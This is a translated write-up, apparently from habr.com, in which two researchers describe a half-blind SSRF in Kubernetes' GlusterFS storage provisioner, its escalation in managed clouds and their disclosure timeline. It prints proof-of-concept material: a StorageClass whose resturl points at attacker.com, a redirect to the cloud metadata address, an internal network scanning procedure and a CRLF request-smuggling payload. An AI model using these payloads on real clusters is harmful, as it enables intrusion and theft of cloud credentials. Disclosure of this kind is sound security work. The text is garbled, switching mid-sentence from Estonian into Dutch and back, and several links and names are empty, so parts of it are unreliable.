Märk. tõlge.: artikli autorid selgitavad üksikasjalikult, kuidas neile õnnestus avastada haavatavus Kuberneteses. Kuigi see algselt ei tundunud väga ohtlik, osutus selle kriitilisus koos teiste teguritega mõne pilveteenuse osutaja juures maksimaalseks. Tehtud töö eest premeeriti spetsialiste heldelt mitme organisatsiooni poolt.

Kes me oleme
Oleme kaks Prantsuse turvauurijat, kes ühiselt avastasid haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, kuid paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:
- — ;
- — Kubernetesi arhitekt Nokias.
Mis juhtus?
See artikkel on meie viis rääkida sellest, kuidas tavaline uurimisprojekt ootamatult muutus kõige põnevamaks seikluseks bugihuntijate elus (vähemalt praegu).
Kuidas te ilmselt teate, bugihuntijatel on paar tähelepanuväärset omadust:
- nad elavad pitsade ja õlle peal;
- nad töötavad siis, kui kõik teised magavad.
Me ei ole erand reeglitest: tavaliselt kohtume nädalavahetustel ja veedame unetuid häackerite öid. Kuid üks neist öödest lõppes üsna ebatavaliselt.
Alguses kavasime kohtuda, et arutada osalemist järgmisel päeval. Arutledes Kubernetes'i turvalisuse üle hallatud teenuse keskkonnas, meenutasime vana ideed SSRF () ja otsustasime proovida seda rünnaku stsenaariumina kasutada.
Kell 11 õhtul asusime uurimiste juurde ja läksime magama vara hommikul, olles tulemusega üsna rahul. Just nende uurimiste tõttu sattusime MSRC Bug Bounty programmile ja lõime privileegide eskaleerimise eksploidiga.
Möödus mitu nädalat/kuud ning meie ootamatu tulemus aitas saada ühe kõrgeima auhinna Azure Cloud Bug Bounty ajaloos — koos sellega, mille saime Kuberneteselt!
Meie uurimisprojekti põhjal avaldas Kubernetes Product Security Committee .
Nüüd tahaksime levida teavet leitud haavatavuse kohta võimalikult laialdaselt. Loodame, et hindate leidmist ja jagate tehnilisi üksikasju teiste infotehnoloogia turvagüroode liikmetega!
Nii et siin on meie lugu...
Kontekst
Kuna me tahame maksimaalselt edasi anda selle juhtumi sisu, vaatame kõigepealt, kuidas Kubernetes töötab pilvehaldatud keskkonnas.
Kui loote Kubernetes'i klastrifaili sellises keskkonnas, vastutab halduskihi eest tavaliselt pilveteenuse pakkuja:

Halduskiht asub pilveteenuse pakkuja perimeetris, samas kui Kubernetes'i sõlmed asuvad kliendi perimeetris.
Dünaamilise mahtude määramise jaoks kasutatakse mehhanismi nende dünaamiliseks pakkumiseks välisest storage-taustast ja sidumiseks PVC-ga (persistent volume claim, st mahtude taotlus).
Nii et pärast seda, kui PVC on loodud ja seotud klastris K8s StorageClass'iga, võtab edasiste mahtude määramise tegevuse üle kube/cloud controller manager (tema täpne nimetus sõltub väljaandest). (Märk. tõlge.: Rohkem CCM-ist ühe pilveteenuse pakkuja rakenduse näitel oleme juba kirjutanud .)
Kubernetes toetab mitmeid erinevaid provisioner'eid: enamik neist on integreeritud , samas kui teisi haldavad lisaproviseerijad, mis asuvad pod'ides klastris.
Oma uurimises keskendusime mahamakstud mahu pakkumise sisemehhanismile, mis on illustreeritud allpool:

Mahtude dünaamiline pakkumine Kubernetes'i sisseehitatud provisioner'iga
Lühidalt öeldes, kui Kubernetes on hallatavates keskkondades juurutatud, vastutab controller manager'i eest pilveteenuse pakkuja, kuid mahu loomise päring (joonisel number 3) lahkub pilveteenuse pakkuja sisemisest võrgust. Ja siin muutub olukord tõeliselt huvitavaks!
Häkkeristsenaarium
Selles osas räägime, kuidas kasutasime eespoolMainitud töövoogu ja saime juurdepääsu pilveteenuse pakkuja sisemistele ressurssidele. Samuti näidatakse, kuidas teatud toiminguid teostada — näiteks saada sisemised pääsmed või teha privileegide eskaleerimist.
Üks lihtne manipulatsioon (antud juhul Service Side Request Forgery) aitas pääseda välja kliendi keskkonnast erinevate hallatava K8s teenusepakkujate klastrites.
Oma uuringutes keskendusime GlusterFS provisioner'ile. Kuigi hilisem tegevusjärk on kirjeldatud sellises kontekstis, on sama haavatavuse ohvriks ka Quobyte, StorageOS ja ScaleIO.

Dünaamiliste mõõtmete esitamise mehhanismi kuritarvitamine
Salvestusklasside analüüsi käigus GlusterFS Golang'i kliendi lähtekoodides me , et esimese HTTP-päringu (3), mis saadetakse mahtude loomise ajal, lõppu kasutaja URL-is parameetris resturl lisatakse /volumes.
Selle täiendava tee eemaldamiseks otsustasime lisada # parameetrisse resturl. Siin on esimene YAML-konfiguratsioon, mida kasutasime 'poole-pimedate' SSRF-haavatavuse kontrollimiseks (lisateavet poole-pimedate või half-blind SSRF kohta saab lugeda näiteks — kt. tõlge):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfSeejärel kasutasime Kubernetes'i klastrit kaugjuhtimiseks binaarfaili kubectl. Üldiselt pakuvad pilveteenuse pakkujad (Azure, Google, AWS jne) võimalust saada nende kasutamiseks vajalikud mandaadid.
Selle tõttu õnnestus rakendada oma "erilised" failid. Kube-controller-manager tegi tulemuseks oleva HTTP-päringu:
kubectl create -f sc-poc.yaml 
Rünnake vaatepunktist
Varsti pärast seda suutsime saada ka HTTP-vastuse sihtserverilt - kubectl käskude kaudu describe pvc või get events kubectl'is. Ja tõepoolest: see Kubernetes'i draiver on vaikimisi liiga sõnakas oma hoiatusi / veateateid...
Siin on näide, kus viidatakse https://www.google.fr, mis on seatud parameetrina resturl:
kubectl describe pvc poc-ssrf
# või kasutage kubectl get events 
Selle lähenemise raames olime piiratud HTTP POST ja ei saanud vastuse keha sisu, kui tagastatud kood oli 201. Seetõttu otsustasime teha täiendavaid uuringuid ja laiendasime sellist rünnaku stsenaariumi uute lähenemisviisidega.
Meie uuringute evolutsioon
- Täpne stsenaarium nr 1: 302 suunamise kasutamine väliselt serverilt HTTP meetodi muutmiseks, et saada paindlikum viis siseteabe kogumiseks.
- Täpne stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.
- Täpne stsenaarium nr 3: HTTP CRLF + smugeling ('salakaubaveo') kasutamine kohandatud HTTP-päringute loomiseks ja kube-controller'i logidest andmete saamiseks.
Tehnilised spetsifikatsioonid
- Uuringutes kasutati Azure Kubernetes Service'i (AKS) Kubernetes versiooniga 1.12 Põhja-Euroopa regioonis.
- Ülaltoodud stsenaariume viidi läbi Kubernetes'i uusimates versioonides, välja arvatud kolmas stsenaarium, kuna see vajab Kubernetes'i, mis on kompileeritud Golangi versiooniga ≤ 1.12.
- Ründaja väline server —
https://attacker.com.
Täpne stsenaarium nr 1: POST-päringu HTTP-suunamine GET-ks ja konfidentsiaalsete andmete hankimine
Algset meetodit täiustati kurjategija serveri konfigureerimisega tagasikutsumiseks 302 HTTP tagastusrekood, et muuta POST-päring GET-päringuks (samm 4 skeemil):

Esimene päring (3), mis saadetakse kliendi kaudu GlusterFS (Controller Manager), on tüübilt POST. Sooritades järgmised sammud, suutsime selle muuta GET-ks:
- Parameetrina
resturlStorageClassis määratlebhttp://attacker.com/redirect.php. - Lõpp-punkt
https://attacker.com/redirect.phpvastab HTTP staatuskoodiga 302 koos järgmise Location Header’iga:http://169.254.169.254. See võib olla mis tahes muu sisemine ressurss — antud juhul kasutatakse ümbersuunamislinki ainult näitena. - Vaikimisi net/http teek Golang suunab päringu ja konverteerib POST-i GET-iks koos 302. staatuskoodiga, mille tagajärjel saadetakse sihtressursile HTTP GET-päring.
HTTP vastuse keha lugemiseks on vaja teha describe PVC objekti:
kubectl describe pvc xxxSiin on näide HTTP vastusest JSON-formaadis, mille me saime:

Leitud haavatavuse võimalused olid sel hetkel piiratud järgmiste asjaolude tõttu:
- Võimetus lisada HTTP päiseid väljaminevasse päringusse.
- Võimetus teha POST-päringut parameetritega kehas (nii on mugav küsida võtme väärtust etcd eksemplarilt, mis töötab 2379 portil, kui kasutatakse krüpteerimata HTTP-d).
- Võimetus saada vastuse keha sisu, kui staatuskood oli 200 ja vastusel ei olnud JSON Content-Type'i.
Arendusstsenaarium nr 2: kohaliku võrgu skaneerimine
Seda meetod half-blind SSRF kasutati seejärel pilveteenuste pakkuja sisevõrgu skaneerimiseks ning erinevate kuulavate teenuste (näiteks Metadata, Kubelet, etcd jne) küsitlemiseks vastuste põhjal. kube controller’i.

Esmalt määrati kindlaks Kubernetes komponentide standardkuulamisportid (8443, 10250, 10251 jne), seejärel tuli skaneerimisprotsess automatiseerida.
Nähes, et see skaneerimise meetod on väga spetsiifiline ja mitte ühilduv klassikaliste skannerite ja SSRF-tööriistadega, otsustasime luua oma bash-skripti worker’ite, mis automatiseerivad kogu protsessi.
Näiteks, et kiiremini skaneerida 172.16.0.0/12 sisevõrgu vahemikku, käivitati paralleelselt 15 worker’it. Ülaltoodud IP-vahemik valiti ainult näitena ja võib olla muudetud konkreetse teenusepakkuja IP-vahemikuks.
Ühe IP-aadresse ja ühte porti skaneerimiseks tuleb teha järgmist:
- kustutada eelmine kord kontrollitud StorageClass;
- kustutada eelmise kontrollitud Persistent Volume Claim;
- muuta IP ja Port väärtused failis
sc.yaml; - luua uus StorageClass uue IP ja pordiga;
- luua uus PVC;
- ekstraheerige skanneerresultate met behulp van describe voor PVC.
Geavanceerd scenario nr. 3: CRLF-injectie + HTTP-smuggling in 'oude' versies van de Kubernetes-cluster.
Als de provider daarnaast oude versies van de K8s-cluster aan klanten aanbood, ja en hen toegang gaf tot de logs van de kube-controller-manager, werd het effect nog significanter.
Voor een aanvaller is het veel gemakkelijker om HTTP-verzoeken naar wens te wijzigen, die bedoeld zijn om de volledige HTTP-respons te verkrijgen.

Voor de uitvoering van het laatste scenario moesten de volgende voorwaarden worden vervuld:
- De gebruiker moet toegang hebben tot de logs van de kube-controller-manager (zoals bijvoorbeeld in Azure LogInsights).
- De Kubernetes-cluster moet een Golang-versie lager dan 1.12 gebruiken.
We hebben een lokale omgeving opgezet die de gegevensuitwisseling tussen de Go-client GlusterFS en een vervalste doelserver simuleert (we onthouden ons voorlopig van het publiceren van de PoC).
Er werd een ontdekte, die versies van Golang onder 1.12 raakte en hackers in staat stelde HTTP-smuggling/CRLF-aanvallen uit te voeren.
Door de hierboven beschreven half-blind SSRF te combineren, samen Sellega suutsime saata päringuid oma maitse järgi, sealhulgas päiste, HTTP meetodi, parameetrite ja andmete muutmist, mida kube-controller-manager seejärel töötles.
Siin on näide töötavast 'õnge' parameetrist resturl StorageClass'ist, mis korraldab sarnast rünnakustsenaariumi:
http://172.31.X.1:10255/healthz? HTTP/1.1
Connection: keep-alive
Host: 172.31.X.1:10255
Content-Length: 1
1
GET /pods? HTTP/1.1
Host: 172.31.X.1:10255Tulemus on viga unwanted response, mille kohta logitakse teade kontrolleri logidesse. Tänu vaikimisi sisse lülitatud 'verbose' režiimile salvestatakse sinna ka vastava HTTP-sõnumi sisu.
![]()
See oli meie kõige tõhusam 'õnge' tõendite kontseptsioonis.
Selle lähenemise kasutamisel suutsime teostada mõningaid järgmistest rünnakutest erinevate hallatavate k8s pakkujate klastrites: privileegide tõstmine metadata-instance'idelt akrediteeringute hankimisega, masteri DoS (šifreerimata) HTTP-päringute kaudu master-exemplaarides etcd jne.
Tagajärjed
Kubernetes'i ametlikus avalduses avastatud SSRF-haavatavuse kohta anti sellele hinnang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kui vaadata vaid Kubernetes'i perimeetriga seotud haavatavust, siis (tervikuvõime vektor) kvalifitseerub see kui Puudub.
Kuid võimalike tagajärgede hindamine haldatud teenuste keskkonnas (ja see oli meie uurimistöö kõige huvitavam osa!) tõukas meid haavatavust ümber hindama Kriitiline CVSS10/10 paljudele jaotajatele.
Allpool on esitatud lisainfot, mis aitab mõista, kuidas me hindasime võimalikke tagajärgi pilveteenustes:
Terviklikkus
- Kaukomandode teostamine saadud sisemiste mandaatide kaudu.
- Eeltoodud stsenaariumi kordamine IDOR-i (Insecure Direct Object Reference, st ebaturvalised otsesed viited objektidele) meetodi abil teistele ressurssidele, mis on avastatud kohalikus võrgus.
Privaatsus
- Rünnakutüüp kuna on varastatud pilve mandaate (nt metadata API).
- Teabe kogumine kohaliku võrgu skaneerimise kaudu (näiteks SSH versiooni, HTTP-serveri versiooni määramine,…).
- Teabe kogumine instantside ja infrastruktuuri kohta, küsides sisemisi API-sid, nagu metadata API (
http://169.254.169.254, …). - Kliendiandmete vargus pilvekontode kaudu.
Saadavus
Kõik rakendamise stsenaariumid, mis on seotud rünnakute vektoritega integrity (terviklikkus), võivad olla kasutatavad hävitavate tegevuste jaoks ja põhjustada, et kliendi piirist (või muudest) meistriinstantsid ei ole kättesaadavad.
Kuna viibisime hallatavates K8s keskkondades ja hindasime mõju terviklikkusele, võib ette kujutada hulgaliselt stsenaariume, mis võivad mõjutada kättesaadavust. Täiendavateks näideteks toome välja andmebaasi etcd kahjustamise või kriitilise API kutsumise teostamise Kubernetes'e jaoks.
Ajatelg
- 6. detsember 2019: teate saatmine tuvastatud haavatavusest MSRC Bug Bounty.
- 3. jaanuar 2020: kolmas osapool teavitas Kubernetes'e arendajaid, et me töötame turvaprobleemiga. Ja palus neil käsitleda SSRF-i kui sisemist (in-core) haavatavust. Pärast seda esitasime üldise aruande tehniliste üksikasjadega probleemi allikast.
- 15. jaanuar 2020: pakkusime Kubernetes'e arendajatele tehnilisi ja üldiseid aruandeid nende taotluse järgi (HackerOne platvormi kaudu).
- 15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF süst puuduvate versioonide jaoks loetakse sisseehitatud haavatavuseks. Peatusime kohe teiste teenusepakkujate perimeetrite analüüsiga: selle põhjusest hoolitses nüüd K8si meeskond.
- 15. jaanuar 2020: HackerOne'i kaudu on saadud preemia MSRC-lt.
- 16. jaanuar 2020: Kubernetes'i PSC (tootedurbe komitee) tunnustas haavatavust ja palus seda saladuses hoida kuni märtsi keskpaigani suure arvu potentsiaalsete ohvrite tõttu.
- 11. veebruar 2020: preemia on saadud Google'i VRP-lt.
- 4. märts 2020: HackerOne'i kaudu on saadud preemia Kuberneteselt.
- 15. märts 2020: algselt planeeritud avalikustamine lükati edasi COVID-19 olukorra tõttu.
- 1. juuni 2020: Kubernetes ja Microsoft ühine avaldus haavatavuse kohta.
TL;DR
- Me joome õlut ja sööme pitsat 🙂
- Me avastasime Kuberneteses sisseehitatud haavatavuse, kuigi me ei kavatsenud seda teha.
- Me tegime täiendava analüüsi erinevate pilveteenuse pakkujate klastrites ja suutsime suurendada haavatavuse tekitatud kahju, et saada täiendavaid suurepäraseid boonuseid.
- Selles artiklis leiate palju tehnilisi üksikasju. Me räägime neist meeleldi teiega (Twitter: & ).
- Selgus, et kõik formaalsused ja aruannete koostamine võtavad palju rohkem aega, kui algselt oodati.
Lingid
- ;
- ;
- ;
- .
P.S. tõlkija märkused
Lugege ka meie blogist:
- «»;
- «»;
- «».
Allikas: habr.com
